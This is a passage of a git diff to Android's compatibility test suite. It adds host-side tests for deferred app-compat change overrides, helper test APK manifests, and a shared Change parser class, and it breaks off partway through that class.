-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isTrue();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledPackageName */
-  @Test
-  public void isChangeEnabledPackageName_changeEnabled() {
-    Context context = InstrumentationRegistry.getTargetContext();
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
-            context.getUser())).isTrue();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledUid */
-  @Test
-  public void isChangeEnabledUid_changeEnabled() {
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isTrue();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabled */
-  @Test
-  public void isChangeEnabled_changeDisabled() {
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isFalse();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledPackageName */
-  @Test
-  public void isChangeEnabledPackageName_changeDisabled() {
-    Context context = InstrumentationRegistry.getTargetContext();
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
-            context.getUser())).isFalse();
-  }
-
-  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledUid */
-  @Test
-  public void isChangeEnabledUid_changeDisabled() {
-    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isFalse();
-  }
-}
diff --git a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
new file mode 100644
index 0000000..27cef40
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcompat.compatchanges;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.content.Context;
+import android.os.Process;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Tests for the {@link android.app.compat.CompatChanges} SystemApi.
+ *
+ * These test methods have additional setup and post run checks done host side by
+ * {@link com.android.cts.appcompat.CompatChangesSystemApiTest}.
+ *
+ * The setup adds an override for the change id being tested, and the post run step checks if
+ * that change id has been logged to statsd.
+ */
+@RunWith(AndroidJUnit4.class)
+public final class CompatChangesTest {
+  private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
+  @Before
+  public void setUp() {
+    InstrumentationRegistry.getInstrumentation().getUiAutomation()
+      .adoptShellPermissionIdentity(Manifest.permission.LOG_COMPAT_CHANGE,
+                                    Manifest.permission.READ_COMPAT_CHANGE_CONFIG);
+  }
+
+  @After
+  public void tearDown() {
+    InstrumentationRegistry.getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabled */
+  @Test
+  public void isChangeEnabled_changeEnabled() {
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isTrue();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledPackageName */
+  @Test
+  public void isChangeEnabledPackageName_changeEnabled() {
+    Context context = InstrumentationRegistry.getTargetContext();
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
+            context.getUser())).isTrue();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeEnabledUid */
+  @Test
+  public void isChangeEnabledUid_changeEnabled() {
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isTrue();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabled */
+  @Test
+  public void isChangeEnabled_changeDisabled() {
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID)).isFalse();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledPackageName */
+  @Test
+  public void isChangeEnabledPackageName_changeDisabled() {
+    Context context = InstrumentationRegistry.getTargetContext();
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, context.getPackageName(),
+            context.getUser())).isFalse();
+  }
+
+  /* Test run by CompatChangesSystemApiTest.testIsChangeDisabledUid */
+  @Test
+  public void isChangeEnabledUid_changeDisabled() {
+    assertThat(CompatChanges.isChangeEnabled(CTS_SYSTEM_API_CHANGEID, Process.myUid())).isFalse();
+  }
+}
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
new file mode 100644
index 0000000..d0bdf36
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
@@ -0,0 +1,77 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library_static {
+    name: "pre_install_override_lib",
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode1_debuggable",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode1_debuggable.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode2_debuggable",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode2_debuggable.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode1_release",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode1_release.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode2_release",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode2_release.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml
new file mode 100644
index 0000000..ce8a215
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="1">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application  android:debuggable="true">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml
new file mode 100644
index 0000000..10c39ac
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="1">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application android:debuggable="false">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml
new file mode 100644
index 0000000..cce0eba
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="2">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application android:debuggable="true">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml
new file mode 100644
index 0000000..7519ce0
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="2">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application android:debuggable="false">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java
new file mode 100644
index 0000000..45596d8
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.appcompat.preinstalloverride;
+
+import android.app.Activity;
+
+public class EmptyActivity extends Activity {
+
+}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java
new file mode 100644
index 0000000..52356b9
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcompat;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeThat;
+
+import android.compat.cts.Change;
+import android.compat.cts.CompatChangeGatingTestCase;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.List;
+
+public final class CompatChangesPreInstallOverrideTest extends CompatChangeGatingTestCase {
+    private static final String TEST_PACKAGE = "com.android.cts.appcompat.preinstalloverride";
+    private static final String CTS_CHANGE_ID_NAME = "CTS_SYSTEM_API_CHANGEID";
+    private static final long CTS_CHANGE_ID = 149391281L;
+
+    @Override
+    protected void setUp() throws Exception {
+        uninstallPackage(TEST_PACKAGE, false);
+        runCommand("am compat reset-all " + TEST_PACKAGE);
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 1");
+    }
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(TEST_PACKAGE, false);
+        runCommand("am compat reset-all " + TEST_PACKAGE);
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 0");
+    }
+
+    public void testDeferEnablingChangeIdAppNotInstalled() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasDeferredOverrides).isTrue();
+            assertThat(ctsChange.deferredOverridesStr)
+                .isEqualTo("{" + TEST_PACKAGE + "=true}");
+            assertThat(ctsChange.hasOverrides).isFalse();
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testDeferredOverrideBecomesRegularOverridePostInstall() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode1_debuggable.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasDeferredOverrides).isFalse();
+            assertThat(ctsChange.hasOverrides).isTrue();
+            assertThat(ctsChange.overridesStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testDeferredOverrideRemainsDeferredPostInstall() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasDeferredOverrides).isTrue();
+            assertThat(ctsChange.deferredOverridesStr)
+                    .isEqualTo("{" + TEST_PACKAGE + "=true}");
+            assertThat(ctsChange.hasOverrides).isFalse();
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testDeferredOverrideBecomesRegularOverridePostUpdate() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+            installPackage("appcompat_preinstall_override_versioncode2_debuggable.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasDeferredOverrides).isFalse();
+            assertThat(ctsChange.hasOverrides).isTrue();
+            assertThat(ctsChange.overridesStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testOverrideBecomesDeferredPostUpdate() throws Exception {
+        installPackage("appcompat_preinstall_override_versioncode1_debuggable.apk", false);
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode2_release.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasDeferredOverrides).isTrue();
+            assertThat(ctsChange.deferredOverridesStr)
+                    .isEqualTo("{" + TEST_PACKAGE + "=true}");
+            assertThat(ctsChange.hasOverrides).isFalse();
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    private Change getCtsChange() throws Exception {
+        List<Change> allChanges = getOnDeviceCompatConfig();
+        for (Change change : allChanges) {
+            if (change.changeId == CTS_CHANGE_ID) {
+                return change;
+            }
+        }
+        return null;
+    }
+}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
index 2f8790f..4316626 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
@@ -34,7 +34,7 @@
 public class CompatChangesSystemApiTest extends CompatChangeGatingTestCase {
 
     protected static final String TEST_APK = "CtsHostsideCompatChangeTestsApp.apk";
-    protected static final String TEST_PKG = "com.android.cts.appcompat";
+    protected static final String TEST_PKG = "com.android.cts.appcompat.compatchanges";
 
     private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
 
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index f8f4ccd..86ce834 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -18,16 +18,14 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.compat.cts.Change;
+import android.compat.cts.CompatChangeGatingTestCase;
 
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.List;
-import java.util.Objects;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
 
-import android.compat.cts.CompatChangeGatingTestCase;
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
 
 import org.w3c.dom.Document;
 import org.w3c.dom.Element;
@@ -35,153 +33,26 @@
 import org.w3c.dom.Node;
 import org.w3c.dom.NodeList;
 
-import javax.xml.parsers.DocumentBuilder;
-import javax.xml.parsers.DocumentBuilderFactory;
-
 public final class CompatChangesValidConfigTest extends CompatChangeGatingTestCase {
 
-    private static class Change {
-        private static final Pattern CHANGE_REGEX = Pattern.compile("^ChangeId\\((?<changeId>[0-9]+)"
-                                                + "(; name=(?<changeName>[^;]+))?"
-                                                + "(; enableSinceTargetSdk=(?<sinceSdk>[0-9]+))?"
-                                                + "(; (?<disabled>disabled))?"
-                                                + "(; (?<loggingOnly>loggingOnly))?"
-                                                + "(; packageOverrides=(?<overrides>[^\\)]+))?"
-                                                + "\\)");
-        long changeId;
-        String changeName;
-        int sinceSdk;
-        boolean disabled;
-        boolean loggingOnly;
-        boolean hasOverrides;
-
-        private Change(long changeId, String changeName, int sinceSdk,
-                boolean disabled, boolean loggingOnly, boolean hasOverrides) {
-            this.changeId = changeId;
-            this.changeName = changeName;
-            this.sinceSdk = sinceSdk;
-            this.disabled = disabled;
-            this.loggingOnly = loggingOnly;
-            this.hasOverrides = hasOverrides;
-        }
-
-        static Change fromString(String line) {
-            long changeId = 0;
-            String changeName;
-            int sinceSdk = -1;
-            boolean disabled = false;
-            boolean loggingOnly = false;
-            boolean hasOverrides = false;
-
-            Matcher matcher = CHANGE_REGEX.matcher(line);
-            if (!matcher.matches()) {
-                throw new RuntimeException("Could not match line " + line);
-            }
-
-            try {
-                changeId = Long.parseLong(matcher.group("changeId"));
-            } catch (NumberFormatException e) {
-                throw new RuntimeException("No or invalid changeId!", e);
-            }
-            changeName = matcher.group("changeName");
-            String sinceSdkAsString = matcher.group("sinceSdk");
-            if (sinceSdkAsString != null) {
-                try {
-                    sinceSdk = Integer.parseInt(sinceSdkAsString);
-                } catch (NumberFormatException e) {
-                    throw new RuntimeException("Invalid sinceSdk for change!", e);
-                }
-            }
-            if (matcher.group("disabled") != null) {
-                disabled = true;
-            }
-            if (matcher.group("loggingOnly") != null) {
-                loggingOnly = true;
-            }
-            if (matcher.group("overrides") != null) {
-                hasOverrides = true;
-            }
-            return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, hasOverrides);
-        }
-
-        static Change fromNode(Node node) {
-            Element element = (Element) node;
-            long changeId = Long.parseLong(element.getAttribute("id"));
-            String changeName = element.getAttribute("name");
-            int sinceSdk = -1;
-            if (element.hasAttribute("enableAfterTargetSdk")
-                && element.hasAttribute("enableSinceTargetSdk")) {
-                    throw new IllegalArgumentException("Invalid change node!"
-                    + "Change contains both enableAfterTargetSdk and enableSinceTargetSdk");
-            }
-            if (element.hasAttribute("enableAfterTargetSdk")) {
-                sinceSdk = Integer.parseInt(element.getAttribute("enableAfterTargetSdk")) + 1;
-            }
-            if (element.hasAttribute("enableSinceTargetSdk")) {
-                sinceSdk = Integer.parseInt(element.getAttribute("enableSinceTargetSdk"));
-            }
-            boolean disabled = false;
-            if (element.hasAttribute("disabled")) {
-                disabled = true;
-            }
-            boolean loggingOnly = false;
-            if (element.hasAttribute("loggingOnly")) {
-                loggingOnly = true;
-            }
-            boolean hasOverrides = false;
-            return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, hasOverrides);
-        }
-        @Override
-        public int hashCode() {
-            return Objects.hash(changeId, changeName, sinceSdk, disabled, hasOverrides);
-        }
-        @Override
-        public boolean equals(Object other) {
-            if (this == other) {
-                return true;
-            }
-            if (other == null || !(other instanceof Change)) {
-                return false;
-            }
-            Change that = (Change) other;
-            return this.changeId == that.changeId
-                && Objects.equals(this.changeName, that.changeName)
-                && this.sinceSdk == that.sinceSdk
-                && this.disabled == that.disabled
-                && this.loggingOnly == that.loggingOnly
-                && this.hasOverrides == that.hasOverrides;
-        }
-        @Override
-        public String toString() {
-            final StringBuilder sb = new StringBuilder();
-            sb.append("ChangeId(" + changeId);
-            if (changeName != null && !changeName.isEmpty()) {
-                sb.append("; name=" + changeName);
-            }
-            if (sinceSdk != 0) {
-                sb.append("; enableSinceTargetSdk=" + sinceSdk);
-            }
-            if (disabled) {
-                sb.append("; disabled");
-            }
-            if (hasOverrides) {
-                sb.append("; packageOverrides={something}");
-            }
-            sb.append(")");
-            return sb.toString();
+    /**
+     * Check that there are no overrides.
+     */
+    public void testNoOverrides() throws Exception {
+        for (Change c : getOnDeviceCompatConfig()) {
+            assertThat(c.hasOverrides).isFalse();
         }
     }
 
     /**
-     * Get the on device compat config.
+     * Check that the on device config contains all the expected change ids defined in the platform.
+     * The device may contain extra changes, but none may be removed.
      */
-    private List<Change> getOnDeviceCompatConfig() throws Exception {
-        String config = runCommand("dumpsys platform_compat");
-        return Arrays.stream(config.split("\n"))
-                .map(Change::fromString)
-                .collect(Collectors.toList());
+    public void testDeviceContainsExpectedConfig() throws Exception {
+        assertThat(getOnDeviceCompatConfig()).containsAtLeastElementsIn(getExpectedCompatConfig());
     }
 
+
     /**
      * Parse the expected (i.e. defined in platform) config xml.
      */
@@ -202,21 +73,4 @@
         return changes;
     }
 
-    /**
-     * Check that there are no overrides.
-     */
-    public void testNoOverrides() throws Exception {
-        for (Change c : getOnDeviceCompatConfig()) {
-            assertThat(c.hasOverrides).isFalse();
-        }
-    }
-
-    /**
-     * Check that the on device config contains all the expected change ids defined in the platform.
-     * The device may contain extra changes, but none may be removed.
-     */
-    public void testDeviceContainsExpectedConfig() throws Exception {
-        assertThat(getOnDeviceCompatConfig()).containsAtLeastElementsIn(getExpectedCompatConfig());
-    }
-
 }
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java
new file mode 100644
index 0000000..23dc83a
--- /dev/null
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.compat.cts;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Objects;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+
+import org.w3c.dom.Element;
+import org.w3c.dom.Node;
+
+public class Change {
+    private static final Pattern CHANGE_REGEX = Pattern.compile("^ChangeId\\((?<changeId>[0-9]+)"
+                                            + "(; name=(?<changeName>[^;]+))?"
+                                            + "(; enableSinceTargetSdk=(?<sinceSdk>[0-9]+))?"
+                                            + "(; (?<disabled>disabled))?"
+                                            + "(; (?<loggingOnly>loggingOnly))?"
+                                            + "(; deferredOverrides=(?<deferredOverrides>[^\\);]+))?"
+                                            + "(; packageOverrides=(?<overrides>[^\\)]+))?"
+                                            + "\\)");
+    public long changeId;
+    public String changeName;
+    public int sinceSdk;
+    public boolean disabled;
+    public boolean loggingOnly;
+    public boolean hasDeferredOverrides;
+    public boolean hasOverrides;
+
+    public String deferredOverridesStr;
+    public String overridesStr;
+
+    private Change(long changeId, String changeName, int sinceSdk,
+            boolean disabled, boolean loggingOnly, boolean hasDeferredOverrides,
+            boolean hasOverrides, String deferredOverridesStr,
+            String overridesStr) {
+        this.changeId = changeId;
+        this.changeName = changeName;
+        this.sinceSdk = sinceSdk;
+        this.disabled = disabled;
+        this.loggingOnly = loggingOnly;
+        this.hasDeferredOverrides = hasDeferredOverrides;
+        this.hasOverrides = hasOverrides;
+        this.deferredOverridesStr = deferredOverridesStr;
+        this.overridesStr = overridesStr;
+    }
+
+    public static Change fromString(String line) {
+        long changeId = 0;
+        String changeName;
+        int sinceSdk = -1;
+        boolean disabled = false;
+        boolean loggingOnly = false;
+        boolean hasDeferredOverrides = false;
+        boolean hasOverrides = false;
+
+        String deferredOverridesStr = null;
+        String overridesStr = null;
+
+        Matcher matcher = CHANGE_REGEX.matcher(line);
+        if (!matcher.matches()) {
+            throw new RuntimeException("Could not match line " + line);
+        }
+
+        try {
+            changeId = Long.parseLong(matcher.group("changeId"));
+        } catch (NumberFormatException e) {
+            throw new RuntimeException("No or invalid changeId!", e);
+        }
+        changeName = matcher.group("changeName");
